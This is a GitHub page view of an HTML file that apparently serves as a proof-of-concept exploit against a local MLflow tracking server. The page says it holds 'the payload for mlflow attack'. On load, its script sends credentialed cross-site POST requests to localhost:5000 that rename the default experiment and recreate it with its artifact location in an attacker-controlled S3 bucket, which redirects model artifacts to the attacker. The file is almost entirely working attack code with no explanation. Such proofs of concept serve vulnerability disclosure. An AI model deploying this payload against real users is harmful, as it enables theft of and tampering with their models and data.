-
Notifications
You must be signed in to change notification settings - Fork 0
/
mlflow.html
45 lines (33 loc) · 1.25 KB
/
mlflow.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>
<head>
</head>
<body onload="execQuark()">
This contains the payload for mlflow attack
</body>
<script>
function execQuark() {
var updateData = "{\n\"experiment_id\":\"0\",\n\"new_name\":\"old\"\n}";
var updateXhr = new XMLHttpRequest();
updateXhr.withCredentials = true;
updateXhr.addEventListener("readystatechange", function() {
if(this.readyState === 4) {
console.log(this.responseText);
}
});
updateXhr.open("POST", "http://localhost:5000/api/2.0/mlflow/experiments/update");
updateXhr.setRequestHeader("Content-Type", "text/plain");
updateXhr.send(updateData);
var data = "{\n\"name\":\"Default\",\n\"artifact_location\":\"s3://bucket-attacker-owns-thats-globally-writable/0\"\n}";
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.addEventListener("readystatechange", function() {
if(this.readyState === 4) {
console.log(this.responseText);
}
});
xhr.open("POST", "http://localhost:5000/api/2.0/mlflow/experiments/create");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(data);
}
</script>
</html>